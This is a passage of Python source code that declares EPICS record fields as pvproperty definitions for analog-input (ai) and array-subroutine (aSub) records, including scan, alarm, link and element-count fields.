dbputfield_process = pvproperty( name="PUTF", dtype=ChannelType.CHAR, doc="dbPutField process", read_only=True, ) reprocess = pvproperty( name="RPRO", dtype=ChannelType.CHAR, doc="Reprocess ", read_only=True ) scan_rate = pvproperty( name="SCAN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Scan Mechanism", ) scanning_disable = pvproperty( name="SDIS", dtype=ChannelType.STRING, doc="Scanning Disable" ) current_alarm_severity = pvproperty( name="SEVR", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Alarm Severity", read_only=True, ) trace_processing = pvproperty( name="TPRO", dtype=ChannelType.CHAR, doc="Trace Processing" ) time_stamp_event = pvproperty( name="TSE", dtype=ChannelType.INT, doc="Time Stamp Event" ) time_stamp_link = pvproperty( name="TSEL", dtype=ChannelType.STRING, doc="Time Stamp Link" ) undefined = pvproperty( name="UDF", dtype=ChannelType.CHAR, doc="Undefined", value=chr(1) ) alarm_status = pvproperty( name="STAT", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmStat.get_string_tuple(), doc="Alarm Status", read_only=True, value="NO_ALARM", ) undefined_alarm_severity = pvproperty( name="UDFS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Undefined Alarm Sevrty", value="INVALID", ) class AiFields(RecordFieldGroup, _Limits): _record_type = "ai" _dtype = ChannelType.DOUBLE # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _Limits) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_ai.get_string_tuple(), doc="Device Type", ) current_raw_value = pvproperty( name="RVAL", dtype=ChannelType.LONG, doc="Current Raw Value" ) initialized = pvproperty( name="INIT", dtype=ChannelType.INT, doc="Initialized?", read_only=True ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.DOUBLE, doc="Last Val Monitored", read_only=True, ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.DOUBLE, doc="Last Value Alarmed", read_only=True, ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.DOUBLE, doc="Last Value Archived", read_only=True, ) lastbreak_point = pvproperty( name="LBRK", dtype=ChannelType.INT, doc="LastBreak Point", read_only=True, ) previous_raw_value = pvproperty( name="ORAW", dtype=ChannelType.LONG, doc="Previous Raw Value", read_only=True, ) raw_offset = pvproperty( name="ROFF", dtype=ChannelType.LONG, doc="Raw Offset" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Simulation Mode", ) simulation_value = pvproperty( name="SVAL", dtype=ChannelType.DOUBLE, doc="Simulation Value" ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.DOUBLE, doc="Alarm Deadband" ) adjustment_offset = pvproperty( name="AOFF", dtype=ChannelType.DOUBLE, doc="Adjustment Offset" ) adjustment_slope = pvproperty( name="ASLO", dtype=ChannelType.DOUBLE, doc="Adjustment Slope", value=1 ) engineer_units_full = pvproperty( name="EGUF", dtype=ChannelType.DOUBLE, doc="Engineer Units Full" ) engineer_units_low = pvproperty( name="EGUL", dtype=ChannelType.DOUBLE, doc="Engineer Units Low" ) linearization = pvproperty( name="LINR", dtype=ChannelType.ENUM, enum_strings=menus.menuConvert.get_string_tuple(), doc="Linearization", ) raw_to_egu_offset = pvproperty( name="EOFF", dtype=ChannelType.DOUBLE, doc="Raw to EGU Offset" ) raw_to_egu_slope = pvproperty( name="ESLO", dtype=ChannelType.DOUBLE, doc="Raw to EGU Slope", value=1 ) smoothing = pvproperty( name="SMOO", dtype=ChannelType.DOUBLE, doc="Smoothing" ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.DOUBLE, doc="Archive Deadband" ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.DOUBLE, doc="Monitor Deadband" ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) simulation_input_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Input Link" ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) alarm_filter_time_constant = pvproperty( name="AFTC", dtype=ChannelType.DOUBLE, doc="Alarm Filter Time Constant" ) alarm_filter_value = pvproperty( name="AFVL", dtype=ChannelType.DOUBLE, doc="Alarm Filter Value", read_only=True, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) # current_egu_value = pvproperty(name='VAL', # dtype=ChannelType.DOUBLE, # doc='Current EGU Value') link_parent_attribute( display_precision, "precision", ) link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class AsubFields(RecordFieldGroup): _record_type = "aSub" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_aSub.get_string_tuple(), doc="Device Type", ) bad_return_severity = pvproperty( name="BRSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Bad Return Severity", ) output_event_flag = pvproperty( name="EFLG", dtype=ChannelType.ENUM, enum_strings=menus.aSubEFLG.get_string_tuple(), doc="Output Event Flag", value=1, ) type_of_a = pvproperty( name="FTA", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of A", read_only=True, value="DOUBLE", ) type_of_b = pvproperty( name="FTB", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of B", read_only=True, value="DOUBLE", ) type_of_c = pvproperty( name="FTC", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of C", read_only=True, value="DOUBLE", ) type_of_d = pvproperty( name="FTD", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of D", read_only=True, value="DOUBLE", ) type_of_e = pvproperty( name="FTE", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of E", read_only=True, value="DOUBLE", ) type_of_f = pvproperty( name="FTF", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of F", read_only=True, value="DOUBLE", ) type_of_g = pvproperty( name="FTG", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of G", read_only=True, value="DOUBLE", ) type_of_h = pvproperty( name="FTH", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of H", read_only=True, value="DOUBLE", ) type_of_i = pvproperty( name="FTI", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of I", read_only=True, value="DOUBLE", ) type_of_j = pvproperty( name="FTJ", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of J", read_only=True, value="DOUBLE", ) type_of_k = pvproperty( name="FTK", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of K", read_only=True, value="DOUBLE", ) type_of_l = pvproperty( name="FTL", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of L", read_only=True, value="DOUBLE", ) type_of_m = pvproperty( name="FTM", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of M", read_only=True, value="DOUBLE", ) type_of_n = pvproperty( name="FTN", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of N", read_only=True, value="DOUBLE", ) type_of_o = pvproperty( name="FTO", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of O", read_only=True, value="DOUBLE", ) type_of_p = pvproperty( name="FTP", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of P", read_only=True, value="DOUBLE", ) type_of_q = pvproperty( name="FTQ", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of Q", read_only=True, value="DOUBLE", ) type_of_r = pvproperty( name="FTR", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of R", read_only=True, value="DOUBLE", ) type_of_s = pvproperty( name="FTS", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of S", read_only=True, value="DOUBLE", ) type_of_t = pvproperty( name="FTT", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of T", read_only=True, value="DOUBLE", ) type_of_u = pvproperty( name="FTU", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of U", read_only=True, value="DOUBLE", ) type_of_vala = pvproperty( name="FTVA", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALA", read_only=True, value="DOUBLE", ) type_of_valb = pvproperty( name="FTVB", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALB", read_only=True, value="DOUBLE", ) type_of_valc = pvproperty( name="FTVC", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALC", read_only=True, value="DOUBLE", ) type_of_vald = pvproperty( name="FTVD", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALD", read_only=True, value="DOUBLE", ) type_of_vale = pvproperty( name="FTVE", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALE", read_only=True, value="DOUBLE", ) type_of_valf = pvproperty( name="FTVF", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALF", read_only=True, value="DOUBLE", ) type_of_valg = pvproperty( name="FTVG", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALG", read_only=True, value="DOUBLE", ) type_of_valh = pvproperty( name="FTVH", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALH", read_only=True, value="DOUBLE", ) type_of_vali = pvproperty( name="FTVI", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALI", read_only=True, value="DOUBLE", ) type_of_valj = pvproperty( name="FTVJ", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALJ", read_only=True, value="DOUBLE", ) type_of_valk = pvproperty( name="FTVK", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALK", read_only=True, value="DOUBLE", ) type_of_vall = pvproperty( name="FTVL", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALL", read_only=True, value="DOUBLE", ) type_of_valm = pvproperty( name="FTVM", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALM", read_only=True, value="DOUBLE", ) type_of_valn = pvproperty( name="FTVN", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALN", read_only=True, value="DOUBLE", ) type_of_valo = pvproperty( name="FTVO", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALO", read_only=True, value="DOUBLE", ) type_of_valp = pvproperty( name="FTVP", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALP", read_only=True, value="DOUBLE", ) type_of_valq = pvproperty( name="FTVQ", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALQ", read_only=True, value="DOUBLE", ) type_of_valr = pvproperty( name="FTVR", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALR", read_only=True, value="DOUBLE", ) type_of_vals = pvproperty( name="FTVS", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALS", read_only=True, value="DOUBLE", ) type_of_valt = pvproperty( name="FTVT", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALT", read_only=True, value="DOUBLE", ) type_of_valu = pvproperty( name="FTVU", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Type of VALU", read_only=True, value="DOUBLE", ) initialize_subr_name = pvproperty( name="INAM", dtype=ChannelType.CHAR, max_length=41, report_as_string=True, doc="Initialize Subr. Name", read_only=True, ) input_link_a = pvproperty( name="INPA", dtype=ChannelType.STRING, doc="Input Link A" ) input_link_b = pvproperty( name="INPB", dtype=ChannelType.STRING, doc="Input Link B" ) input_link_c = pvproperty( name="INPC", dtype=ChannelType.STRING, doc="Input Link C" ) input_link_d = pvproperty( name="INPD", dtype=ChannelType.STRING, doc="Input Link D" ) input_link_e = pvproperty( name="INPE", dtype=ChannelType.STRING, doc="Input Link E" ) input_link_f = pvproperty( name="INPF", dtype=ChannelType.STRING, doc="Input Link F" ) input_link_g = pvproperty( name="INPG", dtype=ChannelType.STRING, doc="Input Link G" ) input_link_h = pvproperty( name="INPH", dtype=ChannelType.STRING, doc="Input Link H" ) input_link_i = pvproperty( name="INPI", dtype=ChannelType.STRING, doc="Input Link I" ) input_link_j = pvproperty( name="INPJ", dtype=ChannelType.STRING, doc="Input Link J" ) input_link_k = pvproperty( name="INPK", dtype=ChannelType.STRING, doc="Input Link K" ) input_link_l = pvproperty( name="INPL", dtype=ChannelType.STRING, doc="Input Link L" ) input_link_m = pvproperty( name="INPM", dtype=ChannelType.STRING, doc="Input Link M" ) input_link_n = pvproperty( name="INPN", dtype=ChannelType.STRING, doc="Input Link N" ) input_link_o = pvproperty( name="INPO", dtype=ChannelType.STRING, doc="Input Link O" ) input_link_p = pvproperty( name="INPP", dtype=ChannelType.STRING, doc="Input Link P" ) input_link_q = pvproperty( name="INPQ", dtype=ChannelType.STRING, doc="Input Link Q" ) input_link_r = pvproperty( name="INPR", dtype=ChannelType.STRING, doc="Input Link R" ) input_link_s = pvproperty( name="INPS", dtype=ChannelType.STRING, doc="Input Link S" ) input_link_t = pvproperty( name="INPT", dtype=ChannelType.STRING, doc="Input Link T" ) input_link_u = pvproperty( name="INPU", dtype=ChannelType.STRING, doc="Input Link U" ) subr_input_enable = pvproperty( name="LFLG", dtype=ChannelType.ENUM, enum_strings=menus.aSubLFLG.get_string_tuple(), doc="Subr. Input Enable", ) num_elements_in_a = pvproperty( name="NEA", dtype=ChannelType.LONG, doc="Num. elements in A", read_only=True, value=1, ) num_elements_in_b = pvproperty( name="NEB", dtype=ChannelType.LONG, doc="Num. elements in B", read_only=True, value=1, ) num_elements_in_c = pvproperty( name="NEC", dtype=ChannelType.LONG, doc="Num. elements in C", read_only=True, value=1, ) num_elements_in_d = pvproperty( name="NED", dtype=ChannelType.LONG, doc="Num. elements in D", read_only=True, value=1, ) num_elements_in_e = pvproperty( name="NEE", dtype=ChannelType.LONG, doc="Num. elements in E", read_only=True, value=1, ) num_elements_in_f = pvproperty( name="NEF", dtype=ChannelType.LONG, doc="Num. elements in F", read_only=True, value=1, ) num_elements_in_g = pvproperty( name="NEG", dtype=ChannelType.LONG, doc="Num. elements in G", read_only=True, value=1, ) num_elements_in_h = pvproperty( name="NEH", dtype=ChannelType.LONG, doc="Num. elements in H", read_only=True, value=1, ) num_elements_in_i = pvproperty( name="NEI", dtype=ChannelType.LONG, doc="Num. elements in I", read_only=True, value=1, ) num_elements_in_j = pvproperty( name="NEJ", dtype=ChannelType.LONG, doc="Num. elements in J", read_only=True, value=1, ) num_elements_in_k = pvproperty( name="NEK", dtype=ChannelType.LONG, doc="Num. elements in K", read_only=True, value=1, ) num_elements_in_l = pvproperty( name="NEL", dtype=ChannelType.LONG, doc="Num. elements in L", read_only=True, value=1, ) num_elements_in_m = pvproperty( name="NEM", dtype=ChannelType.LONG, doc="Num. elements in M", read_only=True, value=1, ) num_elements_in_n = pvproperty( name="NEN", dtype=ChannelType.LONG, doc="Num. elements in N", read_only=True, value=1, ) num_elements_in_o = pvproperty( name="NEO", dtype=ChannelType.LONG, doc="Num. elements in O", read_only=True, value=1, ) num_elements_in_p = pvproperty( name="NEP", dtype=ChannelType.LONG, doc="Num. elements in P", read_only=True, value=1, ) num_elements_in_q = pvproperty( name="NEQ", dtype=ChannelType.LONG, doc="Num. elements in Q", read_only=True, value=1, ) num_elements_in_r = pvproperty( name="NER", dtype=ChannelType.LONG, doc="Num. elements in R", read_only=True, value=1, ) num_elements_in_s = pvproperty( name="NES", dtype=ChannelType.LONG, doc="Num. elements in S", read_only=True, value=1, ) num_elements_in_t = pvproperty( name="NET", dtype=ChannelType.LONG, doc="Num. elements in T", read_only=True, value=1, ) num_elements_in_u = pvproperty( name="NEU", dtype=ChannelType.LONG, doc="Num. elements in U", read_only=True, value=1, ) num_elements_in_vala = pvproperty( name="NEVA", dtype=ChannelType.LONG, doc="Num. elements in VALA", read_only=True, value=1, ) num_elements_in_valb = pvproperty( name="NEVB", dtype=ChannelType.LONG, doc="Num. elements in VALB", read_only=True, value=1, ) num_elements_in_valc = pvproperty( name="NEVC", dtype=ChannelType.LONG, doc="Num. elements in VALC", read_only=True, value=1, ) num_elements_in_vald = pvproperty( name="NEVD", dtype=ChannelType.LONG, doc="Num. elements in VALD", read_only=True, value=1, ) num_elements_in_vale = pvproperty( name="NEVE", dtype=ChannelType.LONG, doc="Num. elements in VALE", read_only=True, value=1, ) num_elements_in_valf = pvproperty( name="NEVF", dtype=ChannelType.LONG, doc="Num. elements in VALF", read_only=True, value=1, ) num_elements_in_valg = pvproperty( name="NEVG", dtype=ChannelType.LONG, doc="Num. elements in VALG", read_only=True, value=1, ) num_elements_in_valh = pvproperty( name="NEVH", dtype=ChannelType.LONG, doc="Num. elements in VAlH", read_only=True, value=1, ) num_elements_in_vali = pvproperty( name="NEVI", dtype=ChannelType.LONG, doc="Num. elements in VALI", read_only=True, value=1, ) num_elements_in_valj = pvproperty( name="NEVJ", dtype=ChannelType.LONG, doc="Num. elements in VALJ", read_only=True, value=1, ) num_elements_in_valk = pvproperty( name="NEVK", dtype=ChannelType.LONG, doc="Num. elements in VALK", read_only=True, value=1, ) num_elements_in_vall = pvproperty( name="NEVL", dtype=ChannelType.LONG, doc="Num. elements in VALL", read_only=True, value=1, ) num_elements_in_valm = pvproperty( name="NEVM", dtype=ChannelType.LONG, doc="Num. elements in VALM", read_only=True, value=1, ) num_elements_in_valn = pvproperty( name="NEVN", dtype=ChannelType.LONG, doc="Num. elements in VALN", read_only=True, value=1, ) num_elements_in_valo = pvproperty( name="NEVO", dtype=ChannelType.LONG, doc="Num. elements in VALO", read_only=True, value=1, ) num_elements_in_valp = pvproperty( name="NEVP", dtype=ChannelType.LONG, doc="Num. elements in VALP", read_only=True, value=1, ) num_elements_in_valq = pvproperty( name="NEVQ", dtype=ChannelType.LONG, doc="Num. elements in VALQ", read_only=True, value=1, ) num_elements_in_valr = pvproperty( name="NEVR", dtype=ChannelType.LONG, doc="Num. elements in VALR", read_only=True, value=1, ) num_elements_in_vals = pvproperty( name="NEVS", dtype=ChannelType.LONG, doc="Num. elements in VALS", read_only=True, value=1, ) num_elements_in_valt = pvproperty( name="NEVT", dtype=ChannelType.LONG, doc="Num. elements in VALT", read_only=True, value=1, ) num_elements_in_valu = pvproperty( name="NEVU", dtype=ChannelType.LONG, doc="Num. elements in VALU", read_only=True, value=1, ) max_elements_in_a = pvproperty( name="NOA", dtype=ChannelType.LONG, doc="Max. elements in A", read_only=True, value=1, ) max_elements_in_b = pvproperty( name="NOB", dtype=ChannelType.LONG, doc="Max. elements in B", read_only=True, value=1, ) max_elements_in_c = pvproperty( name="NOC", dtype=ChannelType.LONG, doc="Max. elements in C", read_only=True, value=1, ) max_elements_in_d = pvproperty( name="NOD", dtype=ChannelType.LONG, doc="Max. elements in D", read_only=True, value=1, ) max_elements_in_e = pvproperty( name="NOE", dtype=ChannelType.LONG, doc="Max. elements in E", read_only=True, value=1, ) max_elements_in_f = pvproperty( name="NOF", dtype=ChannelType.LONG, doc="Max. elements in F", read_only=True, value=1, ) max_elements_in_g = pvproperty( name="NOG", dtype=ChannelType.LONG, doc="Max. elements in G", read_only=True, value=1, ) max_elements_in_h = pvproperty( name="NOH", dtype=ChannelType.LONG, doc="Max. elements in H", read_only=True, value=1, ) max_elements_in_i = pvproperty( name="NOI", dtype=ChannelType.LONG, doc="Max. elements in I", read_only=True, value=1, ) max_elements_in_j = pvproperty( name="NOJ", dtype=ChannelType.LONG, doc="Max. elements in J", read_only=True, value=1, ) max_elements_in_k = pvproperty( name="NOK", dtype=ChannelType.LONG, doc="Max. elements in K", read_only=True, value=1, ) max_elements_in_l = pvproperty( name="NOL", dtype=ChannelType.LONG, doc="Max. elements in L", read_only=True, value=1, ) max_elements_in_m = pvproperty( name="NOM", dtype=ChannelType.LONG, doc="Max. elements in M", read_only=True, value=1, ) max_elements_in_n = pvproperty( name="NON", dtype=ChannelType.LONG, doc="Max. elements in N", read_only=True, value=1, ) max_elements_in_o = pvproperty( name="NOO", dtype=ChannelType.LONG, doc="Max. elements in O", read_only=True, value=1, ) max_elements_in_p = pvproperty( name="NOP", dtype=ChannelType.LONG, doc="Max. elements in P", read_only=True, value=1, ) max_elements_in_q = pvproperty( name="NOQ", dtype=ChannelType.LONG, doc="Max. elements in Q", read_only=True, value=1, ) max_elements_in_r = pvproperty( name="NOR", dtype=ChannelType.LONG, doc="Max. elements in R", read_only=True, value=1, ) max_elements_in_s = pvproperty( name="NOS", dtype=ChannelType.LONG, doc="Max. elements in S", read_only=True, value=1, ) max_elements_in_t = pvproperty( name="NOT", dtype=ChannelType.LONG, doc="Max. elements in T", read_only=True, value=1, ) max_elements_in_u = pvproperty( name="NOU", dtype=ChannelType.LONG, doc="Max. elements in U", read_only=True, value=1, ) max_elements_in_vala = pvproperty( name="NOVA", dtype=ChannelType.LONG, doc="Max. elements in VALA", read_only=True, value=1, ) max_elements_in_valb = pvproperty( name="NOVB", dtype=ChannelType.LONG, doc="Max. elements in VALB", read_only=True, value=1, ) max_elements_in_valc = pvproperty( name="NOVC", dtype=ChannelType.LONG, doc="Max. elements in VALC", read_only=True, value=1, ) max_elements_in_vald = pvproperty( name="NOVD", dtype=ChannelType.LONG, doc="Max. elements in VALD", read_only=True, value=1, ) max_elements_in_vale = pvproperty( name="NOVE", dtype=ChannelType.LONG, doc="Max. elements in VALE", read_only=True, value=1, ) max_elements_in_valf = pvproperty( name="NOVF", dtype=ChannelType.LONG, doc="Max. elements in VALF", read_only=True, value=1, ) max_elements_in_valg = pvproperty( name="NOVG", dtype=ChannelType.LONG, doc="Max. elements in VALG", read_only=True, value=1, ) max_elements_in_valh = pvproperty( name="NOVH", dtype=ChannelType.LONG, doc="Max. elements in VAlH", read_only=True, value=1, ) max_elements_in_vali = pvproperty( name="NOVI", dtype=ChannelType.LONG, doc="Max. elements in VALI", read_only=True, value=1, ) max_elements_in_valj = pvproperty( name="NOVJ", dtype=ChannelType.LONG, doc="Max. elements in VALJ", read_only=True, value=1, ) max_elements_in_valk = pvproperty( name="NOVK", dtype=ChannelType.LONG, doc="Max. elements in VALK", read_only=True, value=1, ) max_elements_in_vall = pvproperty( name="NOVL", dtype=ChannelType.LONG, doc="Max. elements in VALL", read_only=True, value=1, ) max_elements_in_valm = pvproperty( name="NOVM", dtype=ChannelType.LONG, doc="Max. elements in VALM", read_only=True, value=1, ) max_elements_in_valn = pvproperty( name="NOVN", dtype=ChannelType.LONG, doc="Max. elements in VALN", read_only=True, value=1, ) max_elements_in_valo = pvproperty( name="NOVO", dtype=ChannelType.LONG, doc="Max. elements in VALO", read_only=True, value=1, ) max_elements_in_valp = pvproperty( name="NOVP", dtype=ChannelType.LONG, doc="Max. elements in VALP", read_only=True, value=1, ) max_elements_in_valq = pvproperty( name="NOVQ", dtype=ChannelType.LONG, doc="Max. elements in VALQ", read_only=True, value=1, ) max_elements_in_valr = pvproperty( name="NOVR", dtype=ChannelType.LONG, doc="Max. elements in VALR", read_only=True, value=1, ) max_elements_in_vals = pvproperty( name="NOVS", dtype=ChannelType.LONG, doc="Max. elements in VALS", read_only=True, value=1, ) max_elements_in_valt = pvproperty( name="NOVT", dtype=ChannelType.LONG, doc="Max. elements in VALT", read_only=True, value=1, ) max_elements_in_valu = pvproperty( name="NOVU", dtype=ChannelType.LONG, doc="Max. elements in VALU", read_only=True, value=1, ) old_subr_name = pvproperty( name="ONAM", dtype=ChannelType.CHAR, max_length=41, report_as_string=True, doc="Old Subr. Name", read_only=True, ) num_elements_in_ovla = pvproperty( name="ONVA", dtype=ChannelType.LONG, doc="Num. elements in OVLA", read_only=True, value=1, ) num_elements_in_ovlb = pvproperty( name="ONVB", dtype=ChannelType.LONG, doc="Num. elements in OVLB", read_only=True, value=1, ) num_elements_in_ovlc = pvproperty( name="ONVC", dtype=ChannelType.LONG, doc="Num. elements in OVLC", read_only=True, value=1, ) num_elements_in_ovld = pvproperty( name="ONVD", dtype=ChannelType.LONG, doc="Num. elements in OVLD", read_only=True, value=1, ) num_elements_in_ovle = pvproperty( name="ONVE", dtype=ChannelType.LONG, doc="Num. elements in OVLE", read_only=True, value=1, ) num_elements_in_ovlf = pvproperty( name="ONVF", dtype=ChannelType.LONG, doc="Num. elements in OVLF", read_only=True, value=1, ) num_elements_in_ovlg = pvproperty( name="ONVG", dtype=ChannelType.LONG, doc="Num. elements in OVLG", read_only=True, value=1, ) num_elements_in_ovlh = pvproperty( name="ONVH", dtype=ChannelType.LONG, doc="Num. elements in VAlH", read_only=True, value=1, ) num_elements_in_ovli = pvproperty( name="ONVI", dtype=ChannelType.LONG, doc="Num. elements in OVLI", read_only=True, value=1, ) num_elements_in_ovlj = pvproperty( name="ONVJ", dtype=ChannelType.LONG, doc="Num. elements in OVLJ", read_only=True, value=1, ) num_elements_in_ovlk = pvproperty( name="ONVK", dtype=ChannelType.LONG, doc="Num. elements in OVLK", read_only=True, value=1, ) num_elements_in_ovll = pvproperty( name="ONVL", dtype=ChannelType.LONG, doc="Num. elements in OVLL", read_only=True, value=1, ) num_elements_in_ovlm = pvproperty( name="ONVM", dtype=ChannelType.LONG, doc="Num. elements in OVLM", read_only=True, value=1, ) num_elements_in_ovln = pvproperty( name="ONVN", dtype=ChannelType.LONG, doc="Num. elements in OVLN", read_only=True, value=1, ) num_elements_in_ovlo = pvproperty( name="ONVO", dtype=ChannelType.LONG, doc="Num. elements in OVLO", read_only=True, value=1, ) num_elements_in_ovlp = pvproperty( name="ONVP", dtype=ChannelType.LONG, doc="Num. elements in OVLP", read_only=True, value=1, ) num_elements_in_ovlq = pvproperty( name="ONVQ", dtype=ChannelType.LONG, doc="Num. elements in OVLQ", read_only=True, value=1, ) num_elements_in_ovlr = pvproperty( name="ONVR", dtype=ChannelType.LONG, doc="Num. elements in OVLR", read_only=True, value=1, ) num_elements_in_ovls = pvproperty( name="ONVS", dtype=ChannelType.LONG, doc="Num. elements in OVLS", read_only=True, value=1, ) num_elements_in_ovlt = pvproperty( name="ONVT", dtype=ChannelType.LONG, doc="Num. elements in OVLT", read_only=True, value=1, ) num_elements_in_ovlu = pvproperty( name="ONVU", dtype=ChannelType.LONG, doc="Num. elements in OVLU", read_only=True, value=1, ) output_link_a = pvproperty( name="OUTA", dtype=ChannelType.STRING, doc="Output Link A" ) output_link_b = pvproperty( name="OUTB", dtype=ChannelType.STRING, doc="Output Link B" ) output_link_c = pvproperty( name="OUTC", dtype=ChannelType.STRING, doc="Output Link C" ) output_link_d = pvproperty( name="OUTD", dtype=ChannelType.STRING, doc="Output Link D" ) output_link_e = pvproperty( name="OUTE", dtype=ChannelType.STRING, doc="Output Link E" ) output_link_f = pvproperty( name="OUTF", dtype=ChannelType.STRING, doc="Output Link F" ) output_link_g = pvproperty( name="OUTG", dtype=ChannelType.STRING, doc="Output Link G" ) output_link_h = pvproperty( name="OUTH", dtype=ChannelType.STRING, doc="Output Link H" ) output_link_i = pvproperty( name="OUTI", dtype=ChannelType.STRING, doc="Output Link I" ) output_link_j = pvproperty( name="OUTJ", dtype=ChannelType.STRING, doc="Output Link J" ) output_link_k = pvproperty( name="OUTK", dtype=ChannelType.STRING, doc="Output Link K" ) output_link_l = pvproperty( name="OUTL", dtype=ChannelType.STRING, doc="Output Link L" ) output_link_m = pvproperty( name="OUTM", dtype=ChannelType.STRING, doc="Output Link M" ) output_link_n = pvproperty( name="OUTN", dtype=ChannelType.STRING, doc="Output Link N" ) output_link_o = pvproperty( name="OUTO", dtype=ChannelType.STRING, doc="Output Link O" ) output_link_p = pvproperty( name="OUTP", dtype=ChannelType.STRING, doc="Output Link P" ) output_link_q = pvproperty( name="OUTQ", dtype=ChannelType.STRING, doc="Output Link Q" ) output_link_r = pvproperty( name="OUTR", dtype=ChannelType.STRING, doc="Output Link R" ) output_link_s = pvproperty( name="OUTS", dtype=ChannelType.STRING, doc="Output Link S" ) output_link_t = 